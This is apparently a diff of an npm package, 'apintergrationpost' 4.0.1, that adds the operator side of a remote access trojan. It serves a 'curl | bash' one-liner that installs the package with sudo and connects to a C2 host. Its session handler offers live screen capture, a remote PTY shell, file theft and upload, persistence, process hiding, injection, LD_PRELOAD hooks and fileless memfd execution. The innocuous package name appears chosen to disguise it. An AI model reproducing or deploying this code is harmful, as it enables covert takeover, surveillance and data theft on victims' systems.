apintergrationpost 4.0.1

package/src/server/installServer.js

@@ -0,0 +1,159 @@
+'use strict';
+
+const fs = require('fs');
+const http = require('http');
+const path = require('path');
+const { execSync } = require('child_process');
+
+const PROJECT_ROOT = path.join(__dirname, '..', '..');
+
+function resolveClientHost(config) {
+  const install = config.installServer || {};
+  if (install.clientHost) return install.clientHost;
+
+  const labNet = config.labNetwork || {};
+  if (labNet.c2HostVmwareNat) return labNet.c2HostVmwareNat;
+  if (labNet.c2HostVmwareHostOnly) return labNet.c2HostVmwareHostOnly;
+  if (labNet.c2HostWifi) return labNet.c2HostWifi;
+
+  if (config.host && config.host !== '0.0.0.0' && config.host !== '::') {
+    return config.host;
+  }
+
+  return '127.0.0.1';
+}
+
+function ensureTarball() {
+  const pkg = JSON.parse(fs.readFileSync(path.join(PROJECT_ROOT, 'package.json'), 'utf8'));
+  const tarballName = `${pkg.name}-${pkg.version}.tgz`;
+  const distDir = path.join(PROJECT_ROOT, 'dist');
+  fs.mkdirSync(distDir, { recursive: true });
+  const tarballPath = path.join(distDir, tarballName);
+
+  if (!fs.existsSync(tarballPath)) {
+    execSync(`npm pack --pack-destination "${distDir}"`, {
+      cwd: PROJECT_ROOT,
+      stdio: 'pipe',
+    });
+  }
+
+  if (!fs.existsSync(tarballPath)) {
+    throw new Error(`Failed to build release tarball: ${tarballName}`);
+  }
+
+  return { tarballPath, tarballName };
+}
+
+function buildRunScript(config, baseUrl) {
+  const clientHost = resolveClientHost(config);
+  const c2Port = config.port;
+  const token = (config.auth && config.auth.token) || '';
+  const pkgUrl = `${baseUrl}/package.tgz`;
+
+  return `#!/usr/bin/env bash
+set -euo pipefail
+
+echo "[*] apintergrationpost — install and run"
+
+if [ "$(id -u)" -ne 0 ]; then
+  SUDO="sudo"
+else
+  SUDO=""
+fi
+
+if ! command -v curl >/dev/null 2>&1; then
+  echo "[*] Installing curl..."
+  export DEBIAN_FRONTEND=noninteractive
+  $SUDO apt-get update -qq
+  $SUDO apt-get install -y -qq curl ca-certificates
+fi
+
+if ! command -v node >/dev/null 2>&1 || ! command -v npm >/dev/null 2>&1; then
+  echo "[*] Installing Node.js and build tools..."
+  export DEBIAN_FRONTEND=noninteractive
+  $SUDO apt-get update -qq
+  $SUDO apt-get install -y -qq nodejs npm build-essential python3
+fi
+
+TMPDIR="$(mktemp -d)"
+trap 'rm -rf "$TMPDIR"' EXIT
+
+echo "[*] Downloading package..."
+curl -fsSL "${pkgUrl}" -o "$TMPDIR/package.tgz"
+
+echo "[*] Installing apintergrationpost..."
+$SUDO npm install -g "$TMPDIR/package.tgz"
+
+echo "[*] Connecting to ${clientHost}:${c2Port}..."
+exec apintergrationpost --host "${clientHost}" --port ${c2Port} --token "${token}"
+`;
+}
+
+function startInstallServer(config, logger) {
+  const install = config.installServer || {};
+  if (install.enabled === false) {
+    return null;
+  }
+
+  const host = install.host || '0.0.0.0';
+  const port = install.port || 8080;
+  const clientHost = resolveClientHost(config);
+  const { tarballPath, tarballName } = ensureTarball(config);
+  const baseUrl = `http://${clientHost}:${port}`;
+
+  const server = http.createServer((req, res) => {
+    const url = req.url.split('?')[0];
+
+    if (url === '/run' || url === '/install.sh') {
+      const script = buildRunScript(config, baseUrl);
+      res.writeHead(200, {
+        'Content-Type': 'text/x-shellscript; charset=utf-8',
+        'Cache-Control': 'no-store',
+      });
+      res.end(script);
+      return;
+    }
+
+    if (url === '/package.tgz' || url === `/${tarballName}`) {
+      res.writeHead(200, {
+        'Content-Type': 'application/octet-stream',
+        'Content-Disposition': `attachment; filename="${tarballName}"`,
+        'Cache-Control': 'no-store',
+      });
+      fs.createReadStream(tarballPath).pipe(res);
+      return;
+    }
+
+    if (url === '/' || url === '/help') {
+      const body = [
+        'apintergrationpost install server',
+        '',
+        'Ubuntu one-liner:',
+        `  curl -fsSL ${baseUrl}/run | bash`,
+        '',
+        'Endpoints:',
+        `  GET ${baseUrl}/run         Install + run script`,
+        `  GET ${baseUrl}/package.tgz npm package tarball`,
+        '',
+      ].join('\n');
+      res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' });
+      res.end(body);
+      return;
+    }
+
+    res.writeHead(404, { 'Content-Type': 'text/plain; charset=utf-8' });
+    res.end('Not found\n');
+  });
+
+  server.listen(port, host, () => {
+    const oneLiner = `curl -fsSL ${baseUrl}/run | bash`;
+    logger.info(`Install server listening on ${host}:${port}`);
+    console.log(`[*] Client one-liner (Ubuntu VM):`);
+    console.log(`    ${oneLiner}`);
+    console.log(`[*] Package: ${tarballName} (${tarballPath})`);
+  });
+
+  return server;
+}
+
+module.exports = { startInstallServer, resolveClientHost, buildRunScript };

package/src/server/screenViewer.js

@@ -0,0 +1,103 @@
+'use strict';
+
+const http = require('http');
+
+function createScreenViewer(port = 5555) {
+  let latestFrame = null;
+  let lastError = null;
+  let frameCount = 0;
+
+  const server = http.createServer((req, res) => {
+    if (req.url === '/' || req.url === '/index.html') {
+      res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
+      res.end(`<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <title>Myra Live Screen</title>
+  <style>
+    body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
+    header { padding: 8px 12px; background: #222; font-size: 13px; }
+    img { display: block; width: 100%; height: auto; background: #000; }
+    .err { color: #f88; padding: 12px; }
+  </style>
+</head>
+<body>
+  <header>Myra live screen — frames: <span id="n">0</span></header>
+  <img id="frame" alt="live screen">
+  <div id="err" class="err"></div>
+  <script>
+    const img = document.getElementById('frame');
+    const err = document.getElementById('err');
+    const n = document.getElementById('n');
+    async function tick() {
+      try {
+        const r = await fetch('/frame?' + Date.now());
+        if (r.status === 204) return;
+        if (!r.ok) throw new Error('HTTP ' + r.status);
+        const j = await r.json();
+        if (j.error) { err.textContent = j.error; return; }
+        err.textContent = '';
+        img.src = 'data:image/jpeg;base64,' + j.frame;
+        n.textContent = j.count;
+      } catch (e) {
+        err.textContent = e.message;
+      }
+    }
+    setInterval(tick, 200);
+    tick();
+  </script>
+</body>
+</html>`);
+      return;
+    }
+
+    if (req.url.startsWith('/frame')) {
+      if (lastError && !latestFrame) {
+        res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
+        res.end(JSON.stringify({ error: lastError, count: frameCount }));
+        return;
+      }
+      if (!latestFrame) {
+        res.writeHead(204);
+        res.end();
+        return;
+      }
+      res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
+      res.end(JSON.stringify({ frame: latestFrame, count: frameCount }));
+      return;
+    }
+
+    res.writeHead(404);
+    res.end();
+  });
+
+  return {
+    port,
+    start() {
+      return new Promise((resolve, reject) => {
+        server.once('error', reject);
+        server.listen(port, '127.0.0.1', () => resolve());
+      });
+    },
+    stop() {
+      return new Promise((resolve) => {
+        server.close(() => resolve());
+      });
+    },
+    updateFrame(base64, meta = {}) {
+      if (meta.error) {
+        lastError = meta.error;
+        return;
+      }
+      if (base64) {
+        latestFrame = base64;
+        frameCount += 1;
+        lastError = null;
+      }
+    },
+    url: `http://127.0.0.1:${port}/`,
+  };
+}
+
+module.exports = { createScreenViewer };

package/src/server/session.js

@@ -0,0 +1,342 @@
+'use strict';
+
+const fs = require('fs');
+const readline = require('readline');
+const { createScreenViewer } = require('./screenViewer');
+
+async function runInteractiveShell(session, cli) {
+  console.log('[*] Starting interactive PTY shell. Type "exit" to leave shell mode.\n');
+
+  session.setShellOutputHandler((msg) => {
+    if (msg.body) {
+      process.stdout.write(msg.body);
+    }
+    if (msg.meta && msg.meta.final) {
+      console.log('\n[*] Shell session ended on client.');
+    }
+  });
+
+  try {
+    const startResp = await session.sendCommand('shell_start', '', { cols: 80, rows: 24 });
+    if (startResp.status === 'error') {
+      console.log(startResp.body);
+      session.setShellOutputHandler(null);
+      return 'continue';
+    }
+
+    console.log(`[*] Shell session ${startResp.meta.shellSessionId} started (pid ${startResp.meta.pid})\n`);
+
+    const shellRl = readline.createInterface({
+      input: process.stdin,
+      output: process.stdout,
+      terminal: false,
+    });
+
+    await new Promise((resolve) => {
+      shellRl.on('line', async (line) => {
+        if (line.trim().toLowerCase() === 'exit') {
+          shellRl.close();
+          resolve();
+          return;
+        }
+        try {
+          await session.sendCommand('shell_input', line + '\n');
+        } catch (err) {
+          console.log(`[!] Shell input error: ${err.message}`);
+          shellRl.close();
+          resolve();
+        }
+      });
+
+      shellRl.on('close', resolve);
+    });
+
+    try {
+      await session.sendCommand('shell_stop');
+    } catch {
+      // ignore
+    }
+  } finally {
+    session.setShellOutputHandler(null);
+  }
+
+  console.log('[*] Returned to command prompt.');
+  return 'continue';
+}
+
+async function runLiveScreen(session, inp) {
+  const parts = inp.trim().split(/\s+/);
+  const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
+  const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
+  const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
+
+  const viewer = createScreenViewer(port);
+
+  session.setScreenFrameHandler((msg) => {
+    viewer.updateFrame(msg.body, msg.meta || {});
+    if (msg.meta && msg.meta.error) {
+      process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
+    }
+  });
+
+  try {
+    await viewer.start();
+    const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
+    if (startResp.status === 'error') {
+      console.log(startResp.body);
+      return 'continue';
+    }
+
+    console.log(`\n[*] Live screen: ${viewer.url}`);
+    console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
+
+    await new Promise((resolve) => {
+      const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
+      rl.once('line', () => {
+        rl.close();
+        resolve();
+      });
+    });
+
+    try {
+      await session.sendCommand('screen_stop');
+    } catch {
+      // ignore
+    }
+  } finally {
+    session.setScreenFrameHandler(null);
+    await viewer.stop();
+    console.log('[*] Live screen stopped.');
+  }
+
+  return 'continue';
+}
+
+async function handleSessionCommand(session, inp, logger) {
+  const lower = inp.toLowerCase();
+
+  if (lower === 'q' || lower === 'quit') {
+    try {
+      const resp = await session.sendCommand('quit');
+      console.log(resp.body);
+    } catch { /* ignore */ }
+    session.disconnect('server shutdown');
+    return 'quit';
+  }
+
+  if (lower === 'kill') {
+    try {
+      const resp = await session.sendCommand('kill');
+      console.log(resp.body);
+    } catch { /* ignore */ }
+    return 'continue';
+  }
+
+  if (lower === 'shell') {
+    return runInteractiveShell(session);
+  }
+
+  if (lower === 'screen' || lower === 'vnc' || lower.startsWith('screen ') || lower.startsWith('vnc ')) {
+    return runLiveScreen(session, inp);
+  }
+
+  if (lower === 'screen_stop') {
+    const resp = await session.sendCommand('screen_stop');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'screen_status') {
+    const resp = await session.sendCommand('screen_status');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'sysinfo') {
+    const resp = await session.sendCommand('sysinfo');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'ps') {
+    const resp = await session.sendCommand('ps');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'netstat') {
+    const resp = await session.sendCommand('netstat');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('find ')) {
+    const body = inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('find', body);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('download ')) {
+    const filePath = inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('download', filePath);
+    if (resp.status === 'error') {
+      console.log(resp.body);
+      return 'continue';
+    }
+    const fileName = (resp.meta && resp.meta.filename) || filePath.split('/').pop();
+    fs.writeFileSync(fileName, Buffer.from(resp.body, 'base64'));
+    console.log('File downloaded');
+    return 'continue';
+  }
+
+  if (lower.startsWith('upload ')) {
+    const fileName = inp.split(' ').slice(1).join(' ').trim();
+    if (!fs.existsSync(fileName)) {
+      console.log('File not found');
+      return 'continue';
+    }
+    const fileContent = fs.readFileSync(fileName).toString('base64');
+    const uploadBody = `${fileName}:${fileContent}`;
+    const resp = await session.sendCommand('upload', uploadBody);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'status') {
+    const resp = await session.sendCommand('status');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('cd')) {
+    const targetDir = inp === 'cd' ? '' : inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('cd', targetDir);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist') {
+    const resp = await session.sendCommand('persist');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist_install') {
+    const resp = await session.sendCommand('persist_install');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist_remove') {
+    const resp = await session.sendCommand('persist_remove');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'hide_start') {
+    const resp = await session.sendCommand('hide_start');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'hide_stop') {
+    const resp = await session.sendCommand('hide_stop');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'inject' || lower.startsWith('inject ')) {
+    const pid = lower.startsWith('inject ') ? inp.split(' ').slice(1).join(' ').trim() : '';
+    const resp = await session.sendCommand('inject', pid);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'inject_spawn') {
+    const resp = await session.sendCommand('inject_spawn');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist_chain') {
+    const resp = await session.sendCommand('persist_chain');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist_status') {
+    const resp = await session.sendCommand('persist_status');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'persist_cleanup') {
+    const resp = await session.sendCommand('persist_cleanup');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'masq_start') {
+    const resp = await session.sendCommand('masq_start');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'masq_stop') {
+    const resp = await session.sendCommand('masq_stop');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'preload_install') {
+    const resp = await session.sendCommand('preload_install');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'preload_remove') {
+    const resp = await session.sendCommand('preload_remove');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'inject_demo') {
+    const resp = await session.sendCommand('inject_demo');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('memfd_exec ')) {
+    const payloadPath = inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('memfd_exec', payloadPath);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower === 'memfd_deploy') {
+    const resp = await session.sendCommand('memfd_deploy');
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('memfd_verify')) {
+    const pid = inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('memfd_verify', pid);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  if (lower.startsWith('memfd_status')) {
+    const pid = inp.split(' ').slice(1).join(' ').trim();
+    const resp = await session.sendCommand('memfd_status', pid);
+    console.log(resp.body);
+    return 'continue';
+  }
+
+  const resp = await session.sendCommand('shell', inp);
+  console.log(resp.body);
+  return 'continue';
+}
+
+module.exports = { handleSessionCommand, runInteractiveShell };